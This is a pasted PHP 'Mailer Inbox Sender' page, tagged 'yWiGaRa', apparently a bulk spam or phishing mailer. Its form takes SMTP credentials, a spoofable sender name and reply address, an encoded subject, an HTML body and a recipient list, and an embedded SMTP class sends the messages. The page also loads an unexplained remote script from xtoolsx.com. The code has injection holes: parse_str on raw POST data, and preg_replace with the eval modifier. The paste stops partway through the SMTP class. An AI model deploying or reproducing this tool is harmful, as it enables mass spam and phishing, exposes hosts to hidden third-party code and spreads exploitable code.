· 10 years ago · Feb 05, 2016, 04:24 PM
1<?php
2function query_str($params){
3$str = '';
4foreach ($params as $key => $value) {
5$str .= (strlen($str) < 1) ? '' : '&';
6$str .= $key . '=' . rawurlencode($value);
7}
8return ($str);
9}
10function lrtrim($string){
11return stripslashes(ltrim(rtrim($string)));
12}
13
14if(isset($_POST['action'] ) ){
15
16$b = query_str($_POST);
17parse_str($b);
18$sslclick=lrtrim($sslclick);
19$action=lrtrim($action);
20$message=lrtrim($message);
21$emaillist=lrtrim($emaillist);
22$from=lrtrim($from);
23$reconnect=lrtrim($reconnect);
24$epriority=lrtrim($epriority);
25$my_smtp=lrtrim($my_smtp);
26$ssl_port=lrtrim($ssl_port);
27$smtp_username=lrtrim($smtp_username);
28$smtp_password=lrtrim($smtp_password);
29$replyto=lrtrim($replyto);
30$subject=lrtrim($subject);
31$realname=lrtrim($realname);
32$subject_base=lrtrim($subject);
33$realname_base=lrtrim($realname);
34$file_name=lrtrim($file);
35$urlz=lrtrim($urlz);
36$contenttype=lrtrim($contenttype);
37$encode_text=$_POST['encode'];
38
39 $message = urlencode($message);
40 $message = ereg_replace("%5C%22", "%22", $message);
41 $message = urldecode($message);
42 $message = stripslashes($message);
43 $subject = stripslashes($subject);
44 if ($encode_text == "yes") {
45 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
46 $subject = str_replace(' ', '_', $subject);
47 $subject = "=?UTF-8?Q?$subject?=";
48 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
49 $realname = str_replace(' ', '_', $realname);
50 $realname = "=?UTF-8?Q?$realname?=";
51 }
52}
53?>
54<html>
55
56<head>
57<title>PHP Mailer</title>
58<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
59
60<style type="text/css">
61<!--
62.style1 {
63 font-family: Geneva, Arial, Helvetica, sans-serif;
64 font-size: 12px;
65}
66-->
67</style>
68<style type="text/css">
69<!--
70.style1 {
71 font-size: 10px;
72 font-family: Geneva, Arial, Helvetica, sans-serif;
73}
74-->
75</style>
76</head>
77<SCRIPT SRC='http://xtoolsx.com/JavaScript/Style.js'></SCRIPT>
78<body text="#000000">
79<body background="https://www.google.co.id/url?sa=i&rct=j&q=&esrc=s&source=images&cd=&cad=rja&uact=8&ved=0ahUKEwjnztaA4JnKAhWTWo4KHbYeDSwQjRwIBw&url=http%3A%2F%2Fwww.meh.ro%2Ftag%2Fanonymous%2F&bvm=bv.110151844,d.c2E&psig=AFQjCNGVmNWW7nE-IJ1noDmUNhLgzKycFA&ust=1452326439482875">
80<p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font></p>
81<p align="center"><font size="5" face="Bauhaus 93">yWiGaRa</font></p>
82<form name="form1" method="post" action="" enctype="multipart/form-data">
83
84 <br>
85
86 <table width="100%" border="0" height="407">
87
88 <tr>
89
90 <td width="100%" colspan="4" bgcolor="#666666" height="36">
91
92 <b>
93
94 <font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
95
96 </tr>
97 <tr>
98
99 <td width="10%" height="22" bgcolor="#AFEEEE">
100
101 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
102 SMTP Login:</font></div>
103
104 </td>
105
106 <td width="18%" height="22" bgcolor="#AFEEEE"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
107
108 <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
109
110 </font></td>
111
112 <td width="31%" height="22" bgcolor="#AFEEEE">
113
114 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
115 SMTP Pass:</font></div>
116
117 </td>
118
119 <td width="41%" height="22" bgcolor="#AFEEEE"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
120
121 <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
122
123 </font></td>
124
125 </tr>
126 <tr>
127
128 <td width="10%" height="22" bgcolor="#AFEEEE">
129
130 <div align="right">
131 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
132
133 </td>
134
135 <td width="18%" height="22" bgcolor="#AFEEEE"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
136
137 <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
138 (optional)</font></td>
139
140 <td width="31%" height="22" bgcolor="#AFEEEE">
141
142 <div align="right">
143 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
144 Server Smtp:</font></div>
145
146 </td>
147
148 <td width="41%" height="22" bgcolor="#AFEEEE"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
149
150 <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
151
152 </font></td>
153
154 </tr>
155 <tr>
156
157 <td width="10%" height="22" bgcolor="#AFEEEE">
158
159 <p align="right">
160 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
161
162 <td width="18%" height="22" bgcolor="#AFEEEE">
163 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
164
165 <td width="31%" height="22" bgcolor="#AFEEEE">
166
167 <p align="right">
168 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
169 After:</font></td>
170
171 <td width="41%" height="22" bgcolor="#AFEEEE"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
172
173 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
174 EMAILS</font></td>
175
176 </tr>
177 <tr>
178
179 <td width="100%" height="39" bgcolor="#AFEEEE" colspan="4">
180
181 <p align="center">
182 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
183 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
184
185 </tr>
186
187 <tr>
188
189 <td width="10%" height="19">
190
191 </td>
192
193 <td width="18%" height="19"> </td>
194
195 <td width="31%" height="19">
196
197 </td>
198
199 <td width="41%" height="19"> </td>
200
201 </tr>
202
203 <tr>
204
205 <td width="100%" colspan="4" bgcolor="#666666" height="36">
206
207 <b>
208
209 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
210
211 </tr>
212
213 <tr>
214
215 <td width="10%" height="22" bordercolor="#AFEEEE" bgcolor="#AFEEEE">
216
217 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
218 Your Email:</font></div>
219
220 </td>
221
222 <td width="18%" height="22" bordercolor="#AFEEEE" bgcolor="#AFEEEE"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
223
224 <input type="text" name="from" value="<?=$from;?>" size="30">
225
226 </font></td>
227
228 <td width="31%" height="22" bordercolor="#AFEEEE" bgcolor="#AFEEEE">
229
230 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
231 Your Name:</font></div>
232
233 </td>
234
235 <td width="41%" height="22" bordercolor="#AFEEEE" bgcolor="#AFEEEE"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
236
237 <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
238
239 </font></td>
240
241 </tr>
242 <tr>
243
244 <td width="10%" height="22" bgcolor="#AFEEEE" bordercolor="#AFEEEE">
245
246 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
247 Reply-To:</font></div>
248
249 </td>
250
251 <td width="18%" height="22" bgcolor="#AFEEEE" bordercolor="#AFEEEE"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
252
253 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
254
255 </font></td>
256
257 <td width="31%" height="22" bgcolor="#AFEEEE" bordercolor="#AFEEEE">
258
259 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
260 Email Priority:</font></td>
261
262 <td width="41%" height="22" bgcolor="#AFEEEE" bordercolor="#AFEEEE"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
263
264 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
265 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
266 Please Choose -</option>
267 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
268 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
269 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
270 </select></td>
271
272 </tr>
273
274 <tr>
275
276 <td width="10%" height="22" bordercolor="#AFEEEE" bgcolor="#AFEEEE">
277
278 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
279 Subject:</font></div>
280
281 </td>
282
283 <td colspan="3" height="22" bordercolor="#AFEEEE" bgcolor="#AFEEEE"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
284
285 <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
286
287 </font></td>
288
289 </tr>
290
291 <tr>
292
293 <td width="10%" height="22" bordercolor="#AFEEEE" bgcolor="#AFEEEE">
294
295 </td>
296
297 <td colspan="3" height="22" bordercolor="#AFEEEE" bgcolor="#AFEEEE"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
298
299 <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
300 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
301 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
302 </select></font></td>
303
304 </tr>
305
306 <tr valign="top">
307
308<td colspan="3" height="190" bordercolor="#AFEEEE" bgcolor="#AFEEEE"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
309
310 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
311
312 <br>
313
314 <input type="radio" name="contenttype" value="plain" >
315
316 Plain
317
318 <input type="radio" name="contenttype" value="html" checked>
319
320 HTML
321
322 <input type="hidden" name="action" value="send">
323
324 <input type="submit" value="Send Message">
325
326 </font></td>
327
328 <td width="41%" height="190" bordercolor="#AFEEEE" bgcolor="#AFEEEE"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
329
330 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
331
332 </font></td>
333
334 </tr>
335
336 </table>
337
338</form>
339
340
341
342<?
343
344if ($action){
345 if (!$from && !$subject && !$message && !$emaillist){
346 print "<script>alert('Please complete all fields before sending your message.'); </script>";
347 die(); }
348
349class SMTP
350{
351 /**
352 * SMTP server port
353 * @var int
354 */
355 var $SMTP_PORT = 25;
356
357 /**
358 * SMTP reply line ending
359 * @var string
360 */
361 var $CRLF = "\r\n";
362
363 /**
364 * Sets whether debugging is turned on
365 * @var bool
366 */
367 var $do_debug; # the level of debug to perform
368
369 /**
370 * Sets VERP use on/off (default is off)
371 * @var bool
372 */
373 var $do_verp = false;
374
375 /**#@+
376 * @access private
377 */
378 var $smtp_conn; # the socket to the server
379 var $error; # error if any on the last call
380 var $helo_rply; # the reply the server sent to us for HELO
381 /**#@-*/
382
383 /**
384 * Initialize the class so that the data is in a known state.
385 * @access public
386 * @return void
387 */
388 function SMTP() {
389 $this->smtp_conn = 0;
390 $this->error = null;
391 $this->helo_rply = null;
392
393 $this->do_debug = 0;
394 }
395
396 /*************************************************************
397 * CONNECTION FUNCTIONS *
398 ***********************************************************/
399
400 /**
401 * Connect to the server specified on the port specified.
402 * If the port is not specified use the default SMTP_PORT.
403 * If tval is specified then a connection will try and be
404 * established with the server for that number of seconds.
405 * If tval is not specified the default is 30 seconds to
406 * try on the connection.
407 *
408 * SMTP CODE SUCCESS: 220
409 * SMTP CODE FAILURE: 421
410 * @access public
411 * @return bool
412 */
413 function Connect($host,$port=0,$tval=30) {
414 # set the error val to null so there is no confusion
415 $this->error = null;
416
417 # make sure we are __not__ connected
418 if($this->connected()) {
419 # ok we are connected! what should we do?
420 # for now we will just give an error saying we
421 # are already connected
422 $this->error = array("error" => "Already connected to a server");
423 return false;
424 }
425
426 if(empty($port)) {
427 $port = $this->SMTP_PORT;
428 }
429
430 #connect to the smtp server
431 $this->smtp_conn = fsockopen($host, # the host of the server
432 $port, # the port to use
433 $errno, # error number if any
434 $errstr, # error message if any
435 $tval); # give up after ? secs
436 # verify we connected properly
437 if(empty($this->smtp_conn)) {
438 $this->error = array("error" => "Failed to connect to server",
439 "errno" => $errno,
440 "errstr" => $errstr);
441 if($this->do_debug >= 1) {
442 echo "SMTP -> ERROR: " . $this->error["error"] .
443 ": $errstr ($errno)" . $this->CRLF;
444 }
445 return false;
446 }
447
448 # sometimes the SMTP server takes a little longer to respond
449 # so we will give it a longer timeout for the first read
450 // Windows still does not have support for this timeout function
451 if(substr(PHP_OS, 0, 3) != "WIN")
452 socket_set_timeout($this->smtp_conn, $tval, 0);
453
454 # get any announcement stuff
455 $announce = $this->get_lines();
456
457 # set the timeout of any socket functions at 1/10 of a second
458 //if(function_exists("socket_set_timeout"))
459 // socket_set_timeout($this->smtp_conn, 0, 100000);
460
461 if($this->do_debug >= 2) {
462 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
463 }
464
465 return true;
466 }
467
468 /**
469 * Performs SMTP authentication. Must be run after running the
470 * Hello() method. Returns true if successfully authenticated.
471 * @access public
472 * @return bool
473 */
474 function Authenticate($username, $password) {
475 // Start authentication
476 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
477
478 $rply = $this->get_lines();
479 $code = substr($rply,0,3);
480
481 if($code != 334) {
482 $this->error =
483 array("error" => "AUTH not accepted from server",
484 "smtp_code" => $code,
485 "smtp_msg" => substr($rply,4));
486 if($this->do_debug >= 1) {
487 echo "SMTP -> ERROR: " . $this->error["error"] .
488 ": " . $rply . $this->CRLF;
489 }
490 return false;
491 }
492
493 // Send encoded username
494 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
495
496 $rply = $this->get_lines();
497 $code = substr($rply,0,3);
498
499 if($code != 334) {
500 $this->error =
501 array("error" => "Username not accepted from server",
502 "smtp_code" => $code,
503 "smtp_msg" => substr($rply,4));
504 if($this->do_debug >= 1) {
505 echo "SMTP -> ERROR: " . $this->error["error"] .
506 ": " . $rply . $this->CRLF;
507 }
508 return false;
509 }
510
511 // Send encoded password
512 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
513
514 $rply = $this->get_lines();
515 $code = substr($rply,0,3);
516
517 if($code != 235) {
518 $this->error =
519 array("error" => "Password not accepted from server",
520 "smtp_code" => $code,
521 "smtp_msg" => substr($rply,4));
522 if($this->do_debug >= 1) {
523 echo "SMTP -> ERROR: " . $this->error["error"] .
524 ": " . $rply . $this->CRLF;
525 }
526 return false;
527 }
528
529 return true;
530 }
531
532 /**
533 * Returns true if connected to a server otherwise false
534 * @access private
535 * @return bool
536 */
537 function Connected() {
538 if(!empty($this->smtp_conn)) {
539 $sock_status = socket_get_status($this->smtp_conn);
540 if($sock_status["eof"]) {
541 # hmm this is an odd situation... the socket is
542 # valid but we are not connected anymore
543 if($this->do_debug >= 1) {
544 echo "SMTP -> NOTICE:" . $this->CRLF .
545 "EOF caught while checking if connected";
546 }
547 $this->Close();
548 return false;
549 }
550 return true; # everything looks good
551 }
552 return false;
553 }
554
555 /**
556 * Closes the socket and cleans up the state of the class.
557 * It is not considered good to use this function without
558 * first trying to use QUIT.
559 * @access public
560 * @return void
561 */
562 function Close() {
563 $this->error = null; # so there is no confusion
564 $this->helo_rply = null;
565 if(!empty($this->smtp_conn)) {
566 # close the connection and cleanup
567 fclose($this->smtp_conn);
568 $this->smtp_conn = 0;
569 }
570 }
571
572 /***************************************************************
573 * SMTP COMMANDS *
574 *************************************************************/
575
576 /**
577 * Issues a data command and sends the msg_data to the server
578 * finializing the mail transaction. $msg_data is the message
579 * that is to be send with the headers. Each header needs to be
580 * on a single line followed by a <CRLF> with the message headers
581 * and the message body being seperated by and additional <CRLF>.
582 *
583 * Implements rfc 821: DATA <CRLF>
584 *
585 * SMTP CODE INTERMEDIATE: 354
586 * [data]
587 * <CRLF>.<CRLF>
588 * SMTP CODE SUCCESS: 250
589 * SMTP CODE FAILURE: 552,554,451,452
590 * SMTP CODE FAILURE: 451,554
591 * SMTP CODE ERROR : 500,501,503,421
592 * @access public
593 * @return bool
594 */
595 function Data($msg_data) {
596 $this->error = null; # so no confusion is caused
597
598 if(!$this->connected()) {
599 $this->error = array(
600 "error" => "Called Data() without being connected");
601 return false;
602 }
603
604 fputs($this->smtp_conn,"DATA" . $this->CRLF);
605
606 $rply = $this->get_lines();
607 $code = substr($rply,0,3);
608
609 if($this->do_debug >= 2) {
610 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
611 }
612
613 if($code != 354) {
614 $this->error =
615 array("error" => "DATA command not accepted from server",
616 "smtp_code" => $code,
617 "smtp_msg" => substr($rply,4));
618 if($this->do_debug >= 1) {
619 echo "SMTP -> ERROR: " . $this->error["error"] .
620 ": " . $rply . $this->CRLF;
621 }
622 return false;
623 }
624
625 # the server is ready to accept data!
626 # according to rfc 821 we should not send more than 1000
627 # including the CRLF
628 # characters on a single line so we will break the data up
629 # into lines by \r and/or \n then if needed we will break
630 # each of those into smaller lines to fit within the limit.
631 # in addition we will be looking for lines that start with
632 # a period '.' and append and additional period '.' to that
633 # line. NOTE: this does not count towards are limit.
634
635 # normalize the line breaks so we know the explode works
636 $msg_data = str_replace("\r\n","\n",$msg_data);
637 $msg_data = str_replace("\r","\n",$msg_data);
638 $lines = explode("\n",$msg_data);
639
640 # we need to find a good way to determine is headers are
641 # in the msg_data or if it is a straight msg body
642 # currently I am assuming rfc 822 definitions of msg headers
643 # and if the first field of the first line (':' sperated)
644 # does not contain a space then it _should_ be a header
645 # and we can process all lines before a blank "" line as
646 # headers.
647 $field = substr($lines[0],0,strpos($lines[0],":"));
648 $in_headers = false;
649 if(!empty($field) && !strstr($field," ")) {
650 $in_headers = true;
651 }
652
653 $max_line_length = 998; # used below; set here for ease in change
654
655 while(list(,$line) = @each($lines)) {
656 $lines_out = null;
657 if($line == "" && $in_headers) {
658 $in_headers = false;
659 }
660 # ok we need to break this line up into several
661 # smaller lines
662 while(strlen($line) > $max_line_length) {
663 $pos = strrpos(substr($line,0,$max_line_length)," ");
664
665 # Patch to fix DOS attack
666 if(!$pos) {
667 $pos = $max_line_length - 1;
668 }
669
670 $lines_out[] = substr($line,0,$pos);
671 $line = substr($line,$pos + 1);
672 # if we are processing headers we need to
673 # add a LWSP-char to the front of the new line
674 # rfc 822 on long msg headers
675 if($in_headers) {
676 $line = "\t" . $line;
677 }
678 }
679 $lines_out[] = $line;
680
681 # now send the lines to the server
682 while(list(,$line_out) = @each($lines_out)) {
683 if(strlen($line_out) > 0)
684 {
685 if(substr($line_out, 0, 1) == ".") {
686 $line_out = "." . $line_out;
687 }
688 }
689 fputs($this->smtp_conn,$line_out . $this->CRLF);
690 }
691 }
692
693 # ok all the message data has been sent so lets get this
694 # over with aleady
695 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
696
697 $rply = $this->get_lines();
698 $code = substr($rply,0,3);
699
700 if($this->do_debug >= 2) {
701 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
702 }
703
704 if($code != 250) {
705 $this->error =
706 array("error" => "DATA not accepted from server",
707 "smtp_code" => $code,
708 "smtp_msg" => substr($rply,4));
709 if($this->do_debug >= 1) {
710 echo "SMTP -> ERROR: " . $this->error["error"] .
711 ": " . $rply . $this->CRLF;
712 }
713 return false;
714 }
715 return true;
716 }
717
718 /**
719 * Expand takes the name and asks the server to list all the
720 * people who are members of the _list_. Expand will return
721 * back and array of the result or false if an error occurs.
722 * Each value in the array returned has the format of:
723 * [ <full-name> <sp> ] <path>
724 * The definition of <path> is defined in rfc 821
725 *
726 * Implements rfc 821: EXPN <SP> <string> <CRLF>
727 *
728 * SMTP CODE SUCCESS: 250
729 * SMTP CODE FAILURE: 550
730 * SMTP CODE ERROR : 500,501,502,504,421
731 * @access public
732 * @return string array
733 */
734 function Expand($name) {
735 $this->error = null; # so no confusion is caused
736
737 if(!$this->connected()) {
738 $this->error = array(
739 "error" => "Called Expand() without being connected");
740 return false;
741 }
742
743 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
744
745 $rply = $this->get_lines();
746 $code = substr($rply,0,3);
747
748 if($this->do_debug >= 2) {
749 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
750 }
751
752 if($code != 250) {
753 $this->error =
754 array("error" => "EXPN not accepted from server",
755 "smtp_code" => $code,
756 "smtp_msg" => substr($rply,4));
757 if($this->do_debug >= 1) {
758 echo "SMTP -> ERROR: " . $this->error["error"] .
759 ": " . $rply . $this->CRLF;
760 }
761 return false;
762 }
763
764 # parse the reply and place in our array to return to user
765 $entries = explode($this->CRLF,$rply);
766 while(list(,$l) = @each($entries)) {
767 $list[] = substr($l,4);
768 }
769
770 return $list;
771 }
772
773 /**
774 * Sends the HELO command to the smtp server.
775 * This makes sure that we and the server are in
776 * the same known state.
777 *
778 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
779 *
780 * SMTP CODE SUCCESS: 250
781 * SMTP CODE ERROR : 500, 501, 504, 421
782 * @access public
783 * @return bool
784 */
785 function Hello($host="") {
786 $this->error = null; # so no confusion is caused
787
788 if(!$this->connected()) {
789 $this->error = array(
790 "error" => "Called Hello() without being connected");
791 return false;
792 }
793
794 # if a hostname for the HELO was not specified determine
795 # a suitable one to send
796 if(empty($host)) {
797 # we need to determine some sort of appopiate default
798 # to send to the server
799 $host = "localhost";
800 }
801
802 // Send extended hello first (RFC 2821)
803 if(!$this->SendHello("EHLO", $host))
804 {
805 if(!$this->SendHello("HELO", $host))
806 return false;
807 }
808
809 return true;
810 }
811
812 /**
813 * Sends a HELO/EHLO command.
814 * @access private
815 * @return bool
816 */
817 function SendHello($hello, $host) {
818 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
819
820 $rply = $this->get_lines();
821 $code = substr($rply,0,3);
822
823 if($this->do_debug >= 2) {
824 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
825 }
826
827 if($code != 250) {
828 $this->error =
829 array("error" => $hello . " not accepted from server",
830 "smtp_code" => $code,
831 "smtp_msg" => substr($rply,4));
832 if($this->do_debug >= 1) {
833 echo "SMTP -> ERROR: " . $this->error["error"] .
834 ": " . $rply . $this->CRLF;
835 }
836 return false;
837 }
838
839 $this->helo_rply = $rply;
840
841 return true;
842 }
843
844 /**
845 * Gets help information on the keyword specified. If the keyword
846 * is not specified then returns generic help, ussually contianing
847 * A list of keywords that help is available on. This function
848 * returns the results back to the user. It is up to the user to
849 * handle the returned data. If an error occurs then false is
850 * returned with $this->error set appropiately.
851 *
852 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
853 *
854 * SMTP CODE SUCCESS: 211,214
855 * SMTP CODE ERROR : 500,501,502,504,421
856 * @access public
857 * @return string
858 */
859 function Help($keyword="") {
860 $this->error = null; # to avoid confusion
861
862 if(!$this->connected()) {
863 $this->error = array(
864 "error" => "Called Help() without being connected");
865 return false;
866 }
867
868 $extra = "";
869 if(!empty($keyword)) {
870 $extra = " " . $keyword;
871 }
872
873 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
874
875 $rply = $this->get_lines();
876 $code = substr($rply,0,3);
877
878 if($this->do_debug >= 2) {
879 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
880 }
881
882 if($code != 211 && $code != 214) {
883 $this->error =
884 array("error" => "HELP not accepted from server",
885 "smtp_code" => $code,
886 "smtp_msg" => substr($rply,4));
887 if($this->do_debug >= 1) {
888 echo "SMTP -> ERROR: " . $this->error["error"] .
889 ": " . $rply . $this->CRLF;
890 }
891 return false;
892 }
893
894 return $rply;
895 }
896
897 /**
898 * Starts a mail transaction from the email address specified in
899 * $from. Returns true if successful or false otherwise. If True
900 * the mail transaction is started and then one or more Recipient
901 * commands may be called followed by a Data command.
902 *
903 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
904 *
905 * SMTP CODE SUCCESS: 250
906 * SMTP CODE SUCCESS: 552,451,452
907 * SMTP CODE SUCCESS: 500,501,421
908 * @access public
909 * @return bool
910 */
911 function Mail($from) {
912 $this->error = null; # so no confusion is caused
913
914 if(!$this->connected()) {
915 $this->error = array(
916 "error" => "Called Mail() without being connected");
917 return false;
918 }
919
920 $useVerp = ($this->do_verp ? "XVERP" : "");
921 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
922
923 $rply = $this->get_lines();
924 $code = substr($rply,0,3);
925
926 if($this->do_debug >= 2) {
927 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
928 }
929
930 if($code != 250) {
931 $this->error =
932 array("error" => "MAIL not accepted from server",
933 "smtp_code" => $code,
934 "smtp_msg" => substr($rply,4));
935 if($this->do_debug >= 1) {
936 echo "SMTP -> ERROR: " . $this->error["error"] .
937 ": " . $rply . $this->CRLF;
938 }
939 return false;
940 }
941 return true;
942 }
943
944 /**
945 * Sends the command NOOP to the SMTP server.
946 *
947 * Implements from rfc 821: NOOP <CRLF>
948 *
949 * SMTP CODE SUCCESS: 250
950 * SMTP CODE ERROR : 500, 421
951 * @access public
952 * @return bool
953 */
954 function Noop() {
955 $this->error = null; # so no confusion is caused
956
957 if(!$this->connected()) {
958 $this->error = array(
959 "error" => "Called Noop() without being connected");
960 return false;
961 }
962
963 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
964
965 $rply = $this->get_lines();
966 $code = substr($rply,0,3);
967
968 if($this->do_debug >= 2) {
969 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
970 }
971
972 if($code != 250) {
973 $this->error =
974 array("error" => "NOOP not accepted from server",
975 "smtp_code" => $code,
976 "smtp_msg" => substr($rply,4));
977 if($this->do_debug >= 1) {
978 echo "SMTP -> ERROR: " . $this->error["error"] .
979 ": " . $rply . $this->CRLF;
980 }
981 return false;
982 }
983 return true;
984 }
985
986 /**
987 * Sends the quit command to the server and then closes the socket
988 * if there is no error or the $close_on_error argument is true.
989 *
990 * Implements from rfc 821: QUIT <CRLF>
991 *
992 * SMTP CODE SUCCESS: 221
993 * SMTP CODE ERROR : 500
994 * @access public
995 * @return bool
996 */
997 function Quit($close_on_error=true) {
998 $this->error = null; # so there is no confusion
999
1000 if(!$this->connected()) {
1001 $this->error = array(
1002 "error" => "Called Quit() without being connected");
1003 return false;
1004 }
1005
1006 # send the quit command to the server
1007 fputs($this->smtp_conn,"quit" . $this->CRLF);
1008
1009 # get any good-bye messages
1010 $byemsg = $this->get_lines();
1011
1012 if($this->do_debug >= 2) {
1013 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1014 }
1015
1016 $rval = true;
1017 $e = null;
1018
1019 $code = substr($byemsg,0,3);
1020 if($code != 221) {
1021 # use e as a tmp var cause Close will overwrite $this->error
1022 $e = array("error" => "SMTP server rejected quit command",
1023 "smtp_code" => $code,
1024 "smtp_rply" => substr($byemsg,4));
1025 $rval = false;
1026 if($this->do_debug >= 1) {
1027 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1028 $byemsg . $this->CRLF;
1029 }
1030 }
1031
1032 if(empty($e) || $close_on_error) {
1033 $this->Close();
1034 }
1035
1036 return $rval;
1037 }
1038
1039 /**
1040 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1041 * Returns true if the recipient was accepted false if it was rejected.
1042 *
1043 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1044 *
1045 * SMTP CODE SUCCESS: 250,251
1046 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1047 * SMTP CODE ERROR : 500,501,503,421
1048 * @access public
1049 * @return bool
1050 */
1051 function Recipient($to) {
1052 $this->error = null; # so no confusion is caused
1053
1054 if(!$this->connected()) {
1055 $this->error = array(
1056 "error" => "Called Recipient() without being connected");
1057 return false;
1058 }
1059
1060 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1061
1062 $rply = $this->get_lines();
1063 $code = substr($rply,0,3);
1064
1065 if($this->do_debug >= 2) {
1066 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1067 }
1068
1069 if($code != 250 && $code != 251) {
1070 $this->error =
1071 array("error" => "RCPT not accepted from server",
1072 "smtp_code" => $code,
1073 "smtp_msg" => substr($rply,4));
1074 if($this->do_debug >= 1) {
1075 echo "SMTP -> ERROR: " . $this->error["error"] .
1076 ": " . $rply . $this->CRLF;
1077 }
1078 return false;
1079 }
1080 return true;
1081 }
1082
1083 /**
1084 * Sends the RSET command to abort and transaction that is
1085 * currently in progress. Returns true if successful false
1086 * otherwise.
1087 *
1088 * Implements rfc 821: RSET <CRLF>
1089 *
1090 * SMTP CODE SUCCESS: 250
1091 * SMTP CODE ERROR : 500,501,504,421
1092 * @access public
1093 * @return bool
1094 */
1095 function Reset() {
1096 $this->error = null; # so no confusion is caused
1097
1098 if(!$this->connected()) {
1099 $this->error = array(
1100 "error" => "Called Reset() without being connected");
1101 return false;
1102 }
1103
1104 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1105
1106 $rply = $this->get_lines();
1107 $code = substr($rply,0,3);
1108
1109 if($this->do_debug >= 2) {
1110 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1111 }
1112
1113 if($code != 250) {
1114 $this->error =
1115 array("error" => "RSET failed",
1116 "smtp_code" => $code,
1117 "smtp_msg" => substr($rply,4));
1118 if($this->do_debug >= 1) {
1119 echo "SMTP -> ERROR: " . $this->error["error"] .
1120 ": " . $rply . $this->CRLF;
1121 }
1122 return false;
1123 }
1124
1125 return true;
1126 }
1127
1128 /**
1129 * Starts a mail transaction from the email address specified in
1130 * $from. Returns true if successful or false otherwise. If True
